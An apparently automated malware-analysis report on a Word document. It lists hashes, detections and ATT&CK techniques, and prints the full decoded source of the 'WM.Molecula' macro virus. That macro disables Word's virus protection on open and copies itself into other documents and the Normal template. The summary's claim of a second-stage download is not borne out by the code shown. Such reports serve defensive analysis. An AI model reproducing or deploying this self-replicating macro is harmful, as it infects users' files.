Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9b63dfb258a15996…

MALICIOUS

Office (OLE)

54.5 KB Created: 2000-10-01 21:57:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: f6ce592f3e8494a3ff5212a4768283d2 SHA-1: e12812e6b86ef45f3c32edf3e6b31677ad097027 SHA-256: 9b63dfb258a15996e82b8ad892de409e2ae2727c50fd923573f46740ea41b093
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro code, identified as 'Molecula' and 'WM.Molecula by e[ax]', appears to be designed to bypass antivirus heuristics and potentially download a second-stage payload. The presence of the 'Document_Open' macro and the heuristic firings strongly suggest a malicious intent, likely related to malware delivery.

Heuristics 3

  • ClamAV: Doc.Trojan.Jedan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jedan-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1147 bytes
SHA-256: 00c6087d19b3141ceffecfd60abd5fdef9c894aaf5be60f88e16e4a1f178d0fb
Detection
ClamAV: Doc.Trojan.Jedan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Molecula
Private Sub Document_Open(): Const nula = 0: Const jedan = 1: Options.VirusProtection = nula
If Not ThisDocument = ActiveDocument Then Set a = ActiveDocument Else Set a = NormalTemplate
Set b = a.VBProject: Set c = b.VBComponents(1): Set d = c.CodeModule
With d: g = Strings.Trim(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(jedan, _
ThisDocument.VBProject.VBComponents(1).CodeModule.countoflines))
If .Lines(1, 1) <> "'Molecula" Then
.deletelines jedan, d.countoflines
.insertlines jedan, g
End If
End With
If Day(Now()) = jedan Then
MsgBox "...i posle svega ja sam jos tu...tu medju Vama!", vbCritical, "...Molecula"
End If
End Sub
'WM.Molecula by e[ax]
'Jos jedan virus koji moze zaobici NAV2K i AVP heuristike
'..a koji koristi String metodu inficiranja!
'Sve pozdrave saljem ljudima na #virus i #vxers

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